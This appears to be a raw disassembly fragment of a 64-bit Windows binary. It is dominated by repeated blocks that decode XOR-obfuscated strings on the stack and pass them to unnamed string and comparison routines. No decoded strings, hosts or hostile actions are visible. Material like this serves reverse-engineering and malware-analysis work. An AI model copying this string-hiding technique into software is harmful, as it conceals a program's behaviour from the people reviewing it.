movdqa xmm1, xmmword [rbp + 0x12f0]
pxor xmm1, xmmword [rbp + 0xa000]
movdqa xmmword [rbp + 0x12f0], xmm1
movdqa xmm0, xmmword [rbp + 0x1300]
pxor xmm0, xmmword [rbp + 0xa010]
movdqa xmmword [rbp + 0x1300], xmm0
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0x12e0]
lea rcx, [rbp + 0x7a40]
call fcn.7ff7cbf2ae10
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8d80]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8d90], r15
jne 0x7ff7cbf69199
mov qword [rbp + 0xa820], r13
mov qword [rbp + 0xa828], r12
mov qword [rbp + 0xa830], rsi
mov qword [rbp + 0xa838], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xed0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xed8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
movdqa xmm0, xmmword [rbp + 0xed0]
pxor xmm0, xmmword [rbp + 0xa820]
movdqa xmmword [rbp + 0xed0], xmm0
movdqa xmm1, xmmword [rbp + 0xee0]
pxor xmm1, xmmword [rbp + 0xa830]
movdqa xmmword [rbp + 0xee0], xmm1
lea rdx, [rbp + 0xed0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
jmp 0x7ff7cbf6963b
mov qword [rbp + 0xa800], r13
mov qword [rbp + 0xa808], r12
mov qword [rbp + 0xa810], rsi
mov qword [rbp + 0xa818], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xeb0], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xeb8], rax
mov qword [rbp + 0xec0], rsi
mov qword [rbp + 0xec8], r14
movdqa xmm0, xmmword [rbp + 0xeb0]
pxor xmm0, xmmword [rbp + 0xa800]
movdqa xmmword [rbp + 0xeb0], xmm0
movdqa xmm1, xmmword [rbp + 0xec0]
pxor xmm1, xmmword [rbp + 0xa810]
movdqa xmmword [rbp + 0xec0], xmm1
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x7a60]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8d80]
lea rcx, [rbp + 0x7a80]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9360]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8800], r15
mov qword [rbp + 0x8810], r15
mov qword [rbp + 0x8818], 0xf
lea rdx, [rbp + 0x8d80]
lea rcx, [rbp + 0x7aa0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa850], r13
mov qword [rbp + 0xa858], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], r12
movdqa xmm0, xmmword [rbp + 0x400]
pxor xmm0, xmmword [rbp + 0xa850]
movdqa xmmword [rbp + 0x400], xmm0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x7ac0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8800]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9360]
lea rcx, [rbp + 0x7ae0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa610], r13
mov qword [rbp + 0xa618], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x418], r12
movdqa xmm0, xmmword [rbp + 0x410]
pxor xmm0, xmmword [rbp + 0xa610]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x7b00]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8800]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x7b20]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa5e0], r13
mov qword [rbp + 0xa5e8], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x428], r12
movdqa xmm0, xmmword [rbp + 0x420]
pxor xmm0, xmmword [rbp + 0xa5e0]
movdqa xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x7b40]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8800]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x7b60]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa020], r13
mov qword [rbp + 0xa028], r12
mov qword [rbp + 0xa030], rsi
mov qword [rbp + 0xa038], r14
mov qword [rbp + 0xa040], rax
mov qword [rbp + 0xa048], rdi
mov qword [rbp + 0x1520], rcx
mov qword [rbp + 0x1528], rdx
mov qword [rbp + 0x1530], r8
mov qword [rbp + 0x1538], r9
mov qword [rbp + 0x1540], rax
mov qword [rbp + 0x1548], rdi
movdqa xmm0, xmmword [rbp + 0x1520]
pxor xmm0, xmmword [rbp + 0xa020]
movdqa xmmword [rbp + 0x1520], xmm0
movdqa xmm1, xmmword [rbp + 0x1530]
pxor xmm1, xmmword [rbp + 0xa030]
movdqa xmmword [rbp + 0x1530], xmm1
movdqa xmm0, xmmword [rbp + 0x1540]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x1540], xmm0
lea rdx, [rbp + 0x1520]
lea rcx, [rbp + 0x7b80]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8800]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4860]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8800]
lea rdx, [rbp + 0x4860]
lea rcx, [rbp + 0x9340]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4860]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa5d0], r13
mov qword [rbp + 0xa5d8], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x430], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x438], rax
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0xa5d0]
movdqa xmmword [rbp + 0x430], xmm0
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x7ba0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9340]
lea rcx, [rbp + 0x7bc0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8da0]
call fcn.7ff7cbf58a40
mov qword [rbp + 0xa5c0], r13
mov qword [rbp + 0xa5c8], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x440], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x448], rax
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0xa5c0]
movdqa xmmword [rbp + 0x440], xmm0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x8da0]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf6960b
lea rdx, [rbp + 0x8da0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8da0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9340]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8800]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9360]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8d80]
jmp 0x7ff7cbf69ce8
mov qword [rbp + 0xa5b0], r13
mov qword [rbp + 0xa5b8], r12
movabs rax, 0x764c3b0cbe1250c0
mov qword [rbp + 0x450], rax
movabs rax, 0xe1b652f20ac2fc88
mov qword [rbp + 0x458], rax
movdqa xmm0, xmmword [rbp + 0x450]
pxor xmm0, xmmword [rbp + 0xa5b0]
movdqa xmmword [rbp + 0x450], xmm0
lea rcx, [rbp + 0x450]
call fcn.7ff7cbf51a1c
test eax, eax
je 0x7ff7cbf69cf9
lea rdx, [rbp + 0x85d8]
cmp qword [rbp + 0x85f0], 0x10
cmovae rdx, qword [rbp + 0x85d8]
mov r8d, 1
mov ecx, eax
call fcn.7ff7cbf579cc
test al, al
je 0x7ff7cbf69cf9
mov qword [rbp + 0xa7e0], r13
mov qword [rbp + 0xa7e8], r12
mov qword [rbp + 0xa7f0], rsi
mov qword [rbp + 0xa7f8], r14
movabs rax, 0x24452507f21649d7
mov qword [rbp + 0xe90], rax
movabs rax, 0xc1d2379e0ddbf7c3
mov qword [rbp + 0xe98], rax
movabs rax, 0x5c378c31ccdc7891
mov qword [rbp + 0xea0], rax
mov qword [rbp + 0xea8], r14
movdqa xmm0, xmmword [rbp + 0xe90]
pxor xmm0, xmmword [rbp + 0xa7e0]
movdqa xmmword [rbp + 0xe90], xmm0
movdqa xmm1, xmmword [rbp + 0xea0]
pxor xmm1, xmmword [rbp + 0xa7f0]
movdqa xmmword [rbp + 0xea0], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xe90]
lea rcx, [rbp + 0x7be0]
call fcn.7ff7cbf2ae10
mov rbx, rax
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8a80]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8a90], r15
jne 0x7ff7cbf6983f
mov qword [rbp + 0xa7c0], r13
mov qword [rbp + 0xa7c8], r12
mov qword [rbp + 0xa7d0], rsi
mov qword [rbp + 0xa7d8], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xe70], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xe78], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xe80], rax
mov qword [rbp + 0xe88], r14
movdqa xmm0, xmmword [rbp + 0xe70]
pxor xmm0, xmmword [rbp + 0xa7c0]
movdqa xmmword [rbp + 0xe70], xmm0
movdqa xmm1, xmmword [rbp + 0xe80]
pxor xmm1, xmmword [rbp + 0xa7d0]
movdqa xmmword [rbp + 0xe80], xmm1
lea rdx, [rbp + 0xe70]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8a80]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf69cf4
mov qword [rbp + 0xa7a0], r13
mov qword [rbp + 0xa7a8], r12
mov qword [rbp + 0xa7b0], rsi
mov qword [rbp + 0xa7b8], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xe50], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xe58], rax
mov qword [rbp + 0xe60], rsi
mov qword [rbp + 0xe68], r14
movdqa xmm0, xmmword [rbp + 0xe50]
pxor xmm0, xmmword [rbp + 0xa7a0]
movdqa xmmword [rbp + 0xe50], xmm0
movdqa xmm1, xmmword [rbp + 0xe60]
pxor xmm1, xmmword [rbp + 0xa7b0]
movdqa xmmword [rbp + 0xe60], xmm1
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x7c00]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8a80]
lea rcx, [rbp + 0x7c20]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x93a0]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8740], r15
mov qword [rbp + 0x8750], r15
mov qword [rbp + 0x8758], 0xf
lea rdx, [rbp + 0x8a80]
lea rcx, [rbp + 0x7c40]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa5a0], r13
mov qword [rbp + 0xa5a8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x460], rax
mov qword [rbp + 0x468], r12
movdqa xmm0, xmmword [rbp + 0x460]
pxor xmm0, xmmword [rbp + 0xa5a0]
movdqa xmmword [rbp + 0x460], xmm0
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x7c60]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8740]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x93a0]
lea rcx, [rbp + 0x7c80]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa590], r13
mov qword [rbp + 0xa598], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x478], r12
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0xa590]
movdqa xmmword [rbp + 0x470], xmm0
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x7ca0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8740]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x7cc0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa580], r13
mov qword [rbp + 0xa588], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x488], r12
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0xa580]
movdqa xmmword [rbp + 0x480], xmm0
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x7ce0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8740]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x7d00]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0xa050], r13
mov qword [rbp + 0xa058], r12
mov qword [rbp + 0xa060], rsi
mov qword [rbp + 0xa068], r14
mov qword [rbp + 0xa070], rax
mov qword [rbp + 0xa078], rdi
mov qword [rbp + 0x15e0], rcx
mov qword [rbp + 0x15e8], rdx
mov qword [rbp + 0x15f0], r8
mov qword [rbp + 0x15f8], r9
mov qword [rbp + 0x1600], rax
mov qword [rbp + 0x1608], rdi
movdqa xmm0, xmmword [rbp + 0x15e0]
pxor xmm0, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x15e0], xmm0
movdqa xmm1, xmmword [rbp + 0x15f0]
pxor xmm1, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0x15f0], xmm1
movdqa xmm0, xmmword [rbp + 0x1600]
pxor xmm0, xmmword [rbp + 0xa070]
movdqa xmmword [rbp + 0x1600], xmm0
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x7d20]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8740]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4880]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8740]
lea rdx, [rbp + 0x4880]
lea rcx, [rbp + 0x9380]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4880]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa570], r13
mov qword [rbp + 0xa578], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x490], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x498], rax
movdqa xmm0, xmmword [rbp + 0x490]
pxor xmm0, xmmword [rbp + 0xa570]
movdqa xmmword [rbp + 0x490], xmm0
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x7d40]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9380]
lea rcx, [rbp + 0x7d60]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8d60]
call fcn.7ff7cbf58a40
mov qword [rbp + 0xa560], r13
mov qword [rbp + 0xa568], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x4a0], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x4a8], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
pxor xmm0, xmmword [rbp + 0xa560]
movdqa xmmword [rbp + 0x4a0], xmm0
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x8d60]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf69cb1
lea rdx, [rbp + 0x8d60]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8d60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9380]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8740]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x93a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a80]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x85d8]
jmp 0x7ff7cbf6b533
lea rdx, [0x7ff7cbf7ea74]
lea rcx, [rbp + 0x8ca0]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf6b547
mov ecx, 2
call fcn.7ff7cbf78368
mov word [rax], 0x33
mov rdx, rax
lea rcx, [rbp + 0x7d80]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x99e0], rax
mov qword [rbp + 0x8c30], r15
mov qword [rbp + 0x8c40], r15
mov qword [rbp + 0x8c48], 0xf
lea rcx, [rbp + 0x8d20]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8d30], r15
jne 0x7ff7cbf69e28
mov qword [rbp + 0xa780], r13
mov qword [rbp + 0xa788], r12
mov qword [rbp + 0xa790], rsi
mov qword [rbp + 0xa798], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xe30], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xe38], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xe40], rax
mov qword [rbp + 0xe48], r14
movdqa xmm0, xmmword [rbp + 0xe30]
pxor xmm0, xmmword [rbp + 0xa780]
movdqa xmmword [rbp + 0xe30], xmm0
movdqa xmm1, xmmword [rbp + 0xe40]
pxor xmm1, xmmword [rbp + 0xa790]
movdqa xmmword [rbp + 0xe40], xmm1
lea rdx, [rbp + 0xe30]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
lea rdx, [rbp + 0x8c30]
lea rcx, [rbp + 0x8938]
call fcn.7ff7cbf35998
jmp 0x7ff7cbf6a1d6
mov qword [rbp + 0xa550], r13
mov qword [rbp + 0xa558], r12
movabs rax, 0x614520058d164dc2
mov qword [rbp + 0x4b0], rax
movabs rax, 0xe1b652f21bdbebf9
mov qword [rbp + 0x4b8], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
pxor xmm0, xmmword [rbp + 0xa550]
movdqa xmmword [rbp + 0x4b0], xmm0
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x7da0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8d20]
lea rcx, [rbp + 0x7dc0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x93c0]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8720], r15
mov qword [rbp + 0x8730], r15
mov qword [rbp + 0x8738], 0xf
lea rdx, [rbp + 0x8d20]
lea rcx, [rbp + 0x7de0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa310], r13
mov qword [rbp + 0xa318], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], r12
movdqa xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0xa310]
movdqa xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x7e00]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8720]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x93c0]
lea rcx, [rbp + 0x7e20]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa540], r13
mov qword [rbp + 0xa548], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x4d8], r12
movdqa xmm0, xmmword [rbp + 0x4d0]
pxor xmm0, xmmword [rbp + 0xa540]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x7e40]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8720]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x7e60]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa530], r13
mov qword [rbp + 0xa538], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], r12
movdqa xmm0, xmmword [rbp + 0x4e0]
pxor xmm0, xmmword [rbp + 0xa530]
movdqa xmmword [rbp + 0x4e0], xmm0
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x7e80]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8720]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x7ea0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa520], r13
mov qword [rbp + 0xa528], r12
movabs rax, 0x4294963a4014dd7
mov qword [rbp + 0x4f0], rax
mov qword [rbp + 0x4f8], r12
movdqa xmm0, xmmword [rbp + 0x4f0]
pxor xmm0, xmmword [rbp + 0xa520]
movdqa xmmword [rbp + 0x4f0], xmm0
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x7ec0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8720]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x48a0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8720]
lea rdx, [rbp + 0x48a0]
lea rcx, [rbp + 0x8d40]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x48a0]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa510], r13
mov qword [rbp + 0xa518], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x500], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x508], rax
movdqa xmm0, xmmword [rbp + 0x500]
pxor xmm0, xmmword [rbp + 0xa510]
movdqa xmmword [rbp + 0x500], xmm0
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x7ee0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8d40]
lea rcx, [rbp + 0x7f00]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8f00]
call fcn.7ff7cbf58a40
cmp qword [rbp + 0x8f10], r15
jne 0x7ff7cbf6a176
lea rdx, [rbp + 0x8d40]
jmp 0x7ff7cbf6a190
lea rdx, [rbp + 0x8f00]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rdx, [rbp + 0x8c30]
lea rcx, [rbp + 0x8938]
call fcn.7ff7cbf35998
lea rcx, [rbp + 0x8f00]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8d40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8720]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x93c0]
call fcn.7ff7cbf376b0
movabs rbx, 0x70092d06be0b49c3
lea rcx, [rbp + 0x8d20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8c30]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
cmp qword [rbp + 0x8948], r15
jne 0x7ff7cbf6a813
mov qword [rbp + 0xa750], r13
mov qword [rbp + 0xa758], r12
mov qword [rbp + 0xa760], rsi
mov qword [rbp + 0xa768], r14
mov qword [rbp + 0xe10], rbx
movabs rax, 0x84da309301dfb9c9
mov qword [rbp + 0xe18], rax
movabs rax, 0x3343e55f83c33793
mov qword [rbp + 0xe20], rax
movabs rax, 0x83b3189ab42709ba
mov qword [rbp + 0xe28], rax
movdqa xmm0, xmmword [rbp + 0xe10]
pxor xmm0, xmmword [rbp + 0xa750]
movdqa xmmword [rbp + 0xe10], xmm0
movdqa xmm1, xmmword [rbp + 0xe20]
pxor xmm1, xmmword [rbp + 0xa760]
movdqa xmmword [rbp + 0xe20], xmm1
lea r8, [0x7ff7cbf93280]
lea rdx, [rbp + 0xe10]
lea rcx, [rbp + 0x7f20]
call fcn.7ff7cbf2ae10
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0x8ea0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8eb0], r15
jne 0x7ff7cbf6a365
mov qword [rbp + 0xa640], r13
mov qword [rbp + 0xa648], r12
mov qword [rbp + 0xa650], rsi
mov qword [rbp + 0xa658], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xdf0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xdf8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xe00], rax
mov qword [rbp + 0xe08], r14
movdqa xmm0, xmmword [rbp + 0xdf0]
pxor xmm0, xmmword [rbp + 0xa640]
movdqa xmmword [rbp + 0xdf0], xmm0
movdqa xmm1, xmmword [rbp + 0xe00]
pxor xmm1, xmmword [rbp + 0xa650]
movdqa xmmword [rbp + 0xe00], xmm1
lea rdx, [rbp + 0xdf0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
jmp 0x7ff7cbf6a807
mov qword [rbp + 0xa620], r13
mov qword [rbp + 0xa628], r12
mov qword [rbp + 0xa630], rsi
mov qword [rbp + 0xa638], r14
movabs rax, 0x77402d3cb60c4dd6
mov qword [rbp + 0xdd0], rax
movabs rax, 0x86d93ead0bc8f6c5
mov qword [rbp + 0xdd8], rax
mov qword [rbp + 0xde0], rsi
mov qword [rbp + 0xde8], r14
movdqa xmm0, xmmword [rbp + 0xdd0]
pxor xmm0, xmmword [rbp + 0xa620]
movdqa xmmword [rbp + 0xdd0], xmm0
movdqa xmm1, xmmword [rbp + 0xde0]
pxor xmm1, xmmword [rbp + 0xa630]
movdqa xmmword [rbp + 0xde0], xmm1
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x7f40]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8ea0]
lea rcx, [rbp + 0x7f60]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9400]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8700], r15
mov qword [rbp + 0x8710], r15
mov qword [rbp + 0x8718], 0xf
lea rdx, [rbp + 0x8ea0]
lea rcx, [rbp + 0x7f80]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa500], r13
mov qword [rbp + 0xa508], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], r12
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp + 0xa500]
movdqa xmmword [rbp + 0x510], xmm0
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x7fa0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8700]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9400]
lea rcx, [rbp + 0x7fc0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa4f0], r13
mov qword [rbp + 0xa4f8], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r12
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0xa4f0]
movdqa xmmword [rbp + 0x520], xmm0
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x7fe0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8700]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x8000]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa4e0], r13
mov qword [rbp + 0xa4e8], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x530], rax
mov qword [rbp + 0x538], r12
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0xa4e0]
movdqa xmmword [rbp + 0x530], xmm0
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x8020]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8700]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x8040]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
